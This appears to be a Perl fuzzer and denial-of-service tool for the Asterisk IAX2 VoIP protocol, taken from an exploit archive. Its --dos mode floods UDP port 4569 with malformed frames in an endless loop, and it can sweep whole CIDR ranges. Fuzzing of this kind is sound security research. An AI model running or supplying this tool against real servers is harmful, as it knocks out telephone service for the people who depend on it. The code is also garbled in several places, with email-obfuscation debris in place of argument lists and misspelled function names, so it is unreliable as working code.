=========================================================
Asterisk IAX2 Resource Exhaustion via Attacked IAX Fuzzer
=========================================================
#!/usr/bin/perl -w
#udp IAX protocol fuzzer
#Created: Blake Cornell
# Exploits found with this code can be
#Released under the VoIPER project
#
# Do not hesitate to show enthusiasm and support
# and help develop this further.
use strict;
use IO::Socket;
use Getopt::Long;
use Net::Subnets;
use Pod::Usage;
my @target_port = (4569);
my @targets = ('127.0.0.1');
my $result = GetOptions('port|p=i' => \(my $port = ''),
'host|h=s' => \(my $host = ''),
'dos' => \(my $dos = ''),
'bruteforce' => \(my $bruteforce = ''),
'timeout|t=i' => \(my $timeout = ''),
'dust=i' => \(my $dust = ''),
'listen' => \(my $listen = ''),
'verbose|v' => \(my $verbose = ''),
'help|?' => \(my $help = '')) or pod2usage(2);
if($help) { printUsage(); }
if($host) { @[email protected]{retHosts($host)}; }
if($port) { $target_port[0] = $port; }
if($listen&&$dos) { print("DoS mode is in Listening Mode\n"); }
for(my $i=0; $i<=$#targets;$i++) {
if($verbose) { print($targets[$i]."\n"); }
fuzzIAX($targets[$i],4569,$timeout);
}
exit;
sub fuzzIAX {
my($target,$port,$timeout,@args)[email protected]_;
if($verbose) { print("Trying $target:$port\n"); }
socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
my %iaxFrameTypes=(
'Nan' => "00",
'DTMF' => "01",
'VOICE' => "02",
'VIDEO' => "03",
'CONTROL' => "04",
'Null' => "05",
'IAXCONTROL' => "06",
'TEXT' => "07",
'IMAGE' => "08",
'HTML' => "09",
'COMFORTNOISE' => "0a",
'Unknown' => "0b",
'Unknown' => "0c",
'Unknown' => "0d",
'Unknown' => "0e",
'Unknown' => "0f");
my %iaxControls=(
'Nan' => "00",
'HANGUP' => "01",
'Reserved' => "02",
'RINGING' => "03",
'ANSWER' => "04",
'BUSY' => "05",
'Reserved' => "06",
'Reserved' => "07",
'CONGESTION' => "08",
'FLASH_HOOK' => "09",
'Reserved' => "0a",
'OPTION' => "0b",
'KEY_RADIO' => "0c",
'UNKEY_RADIO' => "0d",
'CALL_PROGRESS' => "0e",
'CALL_PROCEEDING' => "0f",
'HOLD' => "10",
'UNHOLD' => "11");
my %iaxControlFrames=(
'Nan' => "00",
'NEW' => "01",
'PING' => "02",
'PONG' => "03",
'ACK' => "04",
'HANGUP' => "05",
'REJECT' => "06",
'ACCEPT' => "07",
'AUTHREQ' => "08",
'AUTHREP' => "09",
'INVAL' => "0a",
'LAGRQ' => "0b",
'LAGRP' => "0c",
'REGREQ' => "0d",
'REGAUTH' => "0e",
'REGACK' => "0f",
'REGREJ' => "10",
'REGREL' => "11",
'VNACK' => "12",
'DPREQ' => "13",
'DPREP' => "14",
'DIAL' => "15",
'TXREQ' => "16",
'TXCNT' => "17",
'TXACC' => "18",
'TXREADY' => "19",
'TXREL' => "1a",
'TXREJ' => "1b",
'QUELCH' => "1c",
'UNQUELCH' => "1d",
'POKE' => "1e",
'Reserved' => "1f",
'MWI' => "20",
'UNSUPPORT' => "21",
'TRANSFER' => "22",
'Reserved' => "23",
'Reserved' => "24",
'Reserved' => "25");
my %iaxHTML = (
'SEND_URL' => 1,
'DATA_FRAME' => 2,
'BEGINNING_FRAME' => 4,
'END_FRAME' => 8,
'LOAD_COMPLETE' => 16,
'PEER_NO_HTML' => 17,
'LINK_URL' => 18,
'UNLINK_URL' => 19,
'REJECT_LINK_URL' => 20);
my %iaxIE = (
'CALLED_NUMBER' => "01",
'CALLING_NUMBER' => "02",
'CALLING_ANI' => "03",
'CALLING_NAME' => "04",
'CALLED_CONTEXT' => "05",
'USERNAME' => "06",
'PASSWORD' => "07",
'CAPABILITY' => "08",
'FORMAT' => "09",
'LANGUAGE' => "0a",
'VERSION' => "0b",
'ADSPICE' => "0c",
'DNID' => "0d",
'AUTHMETHODS' => "0e",
'CHALLENGE' => "0f",
'MD5_RESULT' => "10",
'RSA_RESULT' => "11",
'APPARENT_ADDR' => "12",
'REFRESH' => "13",
'DPSTATUS' => "14",
'CALLNO' => "15",
'CAUSE' => "16",
'IAX_UNKNOWN' => "17",
'MSGCOUNT' => "18",
'AUTOANSWER' => "19",
'MUSICONHOLD' => "1a",
'TRANSFERID' => "1b",
'RDNIS' => "1c",
'Reserved' => "1d",
'Reserved' => "1e",
'DATETIME' => "1f",
'Reserved' => "20",
'Reserved' => "21",
'Reserved' => "22",
'Reserved' => "23",
'Reserved' => "24",
'Reserved' => "25",
'CALLINGPRES' => "26",
'CALLINGTON' => "27",
'CALLINGTNS' => "28",
'SAMPLINGRATE' => "29",
'CAUSECODE' => "2a",
'ENCRYPTION' => "2b",
'ENCKEY' => "2c",
'CODEC_PREFS' => "2d",
'RR_JITTER' => "2e",
'RR_LOSS' => "2f",
'RR_PKTS' => "30",
'RR_DELAY' => "31",
'RR_DROPPED' => "32",
'RR_000' => "33");
my %iaxDTMF = (
'0' => 0,
'1' => 1,
'2' => 2,
'3' => 3,
'4' => 4,
'5' => 5,
'6' => 6,
'7' => 7,
'8' => 8,
'9' => 9,
'*' => 10,
'#' => 11,
'A' => 12,
'B' => 13,
'C' => 14,
'D' => 15);
my $MAXLEN = 1024;
my $TIMEOUT = 1;
if(defined($timeout) && $timeout ne '' && $timeout != 0) { #timeout of 0 hangs
#unanswered requests
$TIMEOUT=$timeout;
}
if($dos) {
if($verbose) { print("Dos attempts initiated\n"); }
my $src_call = "8000";
my $dst_call = "0000";
my $timestamp = "00000000";
#use rand sequence information to line up RE issues.
my $outbound_seq = unpack("H2",pack("H2",int(rand(256))));
my $inbound_seq = unpack("H2",pack("H2",int(rand(256))));
#or not
#my $outbound_seq = "00";
#my $inbound_seq = "00";
for(my $i=1; 1==1; $i++) {
foreach my $frame (keys(%iaxFrameTypes)) {
foreach my $subset (keys(%iaxControlFrames)) {
foreach my $ie (keys(%iaxIE)) {
my $out_msg = $src_call .
$dst_call .
$timestamp .
$outbound_seq .
$inbound_seq .
$iaxFrameTypes{$frame} .
$iaxControlFrames{$subset} .
$iaxIE{$ie};
if(my @args = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,$listen,0)) {
if($verbose && $i%1==0) {
print('['.scalar(localtime).'] ');
print($frame.' '.$subset.' '.$ie."\n");
}
}
}
}
}
print "Looping\n";
}
}elsif($bruteforce) {
while(1) {
bruteForceFUZZ($target,$port,$listen,$timeout,\%iaxFrameTypes,\%iaxControlFrames,\%iaxIE);
print("\t\tLooping\n\n");
sleep(5);
}
}else{ ###smart fuzz
my $src_call = "8000";
my $dst_call = "0000";
my $timestamp = "00000000";
my $outbound_seq = "00";
my $inbound_seq = "00";
foreach my $frameType (keys(%iaxFrameTypes)) {
if($frameType eq 'CONTROL') {
foreach my $controlKey (keys(%iaxControls)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControls{$controlKey} . $iaxIE{$ieKey}."00";
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$controlKey." ".$ieKey."\n");
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}elsif($frameType eq 'IAXCONTROL') {
foreach my $frameKey (keys(%iaxControlFrames)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ieKey}.'00';
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
logAngPrint('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$frameKey." ".$ieKey.' ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}elsif($frameType eq 'HTML') {
foreach my $htmlKey (keys(%iaxHTML)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxHTML{$htmlKey} . $iaxIE{$ieKey}.'00';
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$htmlKey." ".$ieKey.' ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}elsif($frameType eq 'DTMF') {
foreach my $dtmfKey (keys(%iaxDTMF)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxDTMF{$dtmfKey} . $iaxIE{$ieKey}.'00';
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defied($recv[2])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$dtmfKey." ".$ieKey.' ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}elsif($frameType eq 'TEXT') {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . "00"; #text frame types "must" have a subclass of 0?
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' 00 ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}else{
foreach my $frameKey (keys(%iaxControlFrames)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ieKey}.'00';
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$frameKey." ".$ieKey.' ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}
}
}
}
sub sendUDPSocket {
my($msg,$target,$port,$timeout,$listen,@args)[email protected]_;
my $MAXLEN=1024;
#my($respaddr,$port);
my $out_msg = pack("H*",$msg);
my $ipaddr = inet_aton($target);
my $sin = sockaddr_in($port,$ipaddr);
send(PING, $out_msg, 0, $sin) == length($out_msg) or die "cannot send to $target : $port : $!\n";
if($listen) {
#sleep(.005);
eval {
local $SIG{ALRM} = sub { die "alarm time out"; };
alarm $timeout;
#alarm $timeout;
while (1) {
my $recvfrom = recv(PING, my $in_msg, $MAXLEN, 0) or die "recv: $!";
($port, $ipaddr) = sockaddr_in($recvfrom);
my $respaddr = inet_ntoa($ipaddr);
if($verbose) {
displayIAXRaw($respaddr,$port,$respaddr,$out_msg,$in_msg);
}
return($respaddr,$port,unpack("H*",$in_msg));
}
};
return 0;
}
}
sub bruteForceFUZZ {
my($target,$port,$listen,$timeout,$refFrameTypes,$refControlFrames,$refIE,@args)[email protected]_;
my %iaxFrameTypes=%{$refFrameTypes};
my %iaxControlFrames=%{$refControlFrames};
my %iaxIE=%{$refIE};
for(my $a=32768;$a<=32768;$a++) {# Full Packet 4byte
for(my $b=0;$b<=0;$b++) {# Dest Call 4byte
for(my $c=0;$c<=0;$c++) {# Timestamp 8byte
#for(my $d=0;$d<=0;$d++) {# Out Seq # 2byte
my $loopD=1;
#for(my $d=unpack("H2",pack("H2",int(rand(256))));$loopD;$d++) {# Out Seq # 2byte
# $loopD=0;
my $outbound_seq = unpack("H2",pack("H2",int(rand(256))));
my $inbound_seq = unpack("H2",pack("H2",int(rand(256))));
#if($verbose) {print(sprintf("%04x",$a)." ".sprintf("%04x",$b)." ".sprintf("%08x",$c)." ".sprintf("%02x",$d)."\n"); }
for(my $d=0;1;$d++) {
for(my $e=0;1;$e++) {# In Seq # 2byte
foreach my $frameType (keys(%iaxFrameTypes)) {
foreach my $frameKey (keys(%iaxControlFrames)) {
foreach my $ie (keys(%iaxIE)) {
for(my $f=0;$f<=0;$f++) {
my $maxDust=10;
if($listen) { $maxDust/=2; }
if(defined($dust) && length($dust) > 0) { $maxDust=$dust; }
for(my $z=1;$z<=$maxDust;$z++) {
my $len = int(rand(9));
my $box= int(rand("9"x(($len+1))));
for(my $zz=1;$zz<=$maxDust;$zz++) {
my $hex_msg = sprintf("%04x",$a).sprintf("%04x",$b).sprintf("%08x",$c).sprintf("%02x",$d).sprintf("%02x",$e). $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ie} . sprintf("%02x",$f) . sprintf("%0".$len."x",$box);
if($verbose) {print("[" . scalar(localtime) . "] '" . $frameType."_".$frameKey."_".$ie."_".sprintf("%02x",$f)."_".sprintf("%0".$len."x",$box)."'\n"); }
foreach my $var (sendUDPSocket($hex_msg,$target,$port,1,$listen)) { if($verbose) { print($var."_"); } }
}
}}}}}}}}}} #<------ VERY IMPORTANT
}
sub retIAXHostActive {
my($target,$port,@args)[email protected]_;
my $out_msg='';
if(my @recv = sendUDPSocket($out_msg,$target,$port,1,1)) {
return 1;
}
return 0;
}
sub retHosts {
my($host,@args)[email protected]_;
my @addrs;
if(!$host) { return ('127.0.0.1') };
if($host =~ /^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})\/([\d]{1,2})$/ && $1 >= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 255) {
#Check to see if host is valid class C CIDR Address
if($verbose) { print("Setting CIDR Address Range\n"); }
my $sn = Net::Subnets->new;
my($low,$high)=$sn->range(\$host);
if($verbose) { print("Determined IP Ranges From $$low - $$high\n"); }
return \@{ $sn->list(\($$low,$$high)) };
}elsif($host =~ /^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})$/ && $1 >= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 255) {
#Check to see if host is valid IP
push(@addrs,"$1.$2.$3.$4");
}else{
push(@addrs,$host);
}
return \@addrs;
}
sub displayIAXRaw {
my($respaddr,$port,$out_msg,$in_msg)[email protected]_;
if(defined($in_msg) && unpack("H*",$in_msg) ne '80000000000000000000060a') {
print("[" . scalar(localtime) . "] $respaddr:$port\t$respaddr\t" . unpack("H*",$out_msg) . "\t". unpack("H*",$in_msg) . "\n");
}elsif(defined($respaddr) && defined($port)) {
print(scalar(localtime) . " $respaddr:$port\t$respaddr\n");
}
}
sub displayIAXPacket {
my($hex_msg,@args)[email protected]_;
my $width=32/8;
for(my $i=0;$i*$width<=length($hex_msg);$i++) {
print(substr($hex_msg,$i*$width,$width)."\n");
}
#print $hex_msg."\n";
}
sub printUsage {
print "$0 --dos\n\t\tWill loop through known or manually preset packet combinations.\n";
print "$0 --bruteforce\n\t\tBrute force fuzzes on default port of 4569. It will try random data packaging at the end of a valid packet. It will by default send 10 per each packet.\n";
print "$0 -h 127.0.0.1 --bruteforce --dust 1\n\t\tBrute force fuzzes on default port of 4569. It will try random data packaging at the end of a valid packet. It will only send 1 of each packet.\n";
print "$0 \n\t\tScans the loopback interface by rough usage from IETF guidelines.\n";
exit;
}
sub logAndPrint {
my($string,@args)[email protected]);
if(1==1 || defined($string)) {
print $string;
open(FLE,">>$0_logs_[".scalar(localtime)."] $string");
print FLE $string;
close(FLE);
}
}
# 0day.today [2018-02-09] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation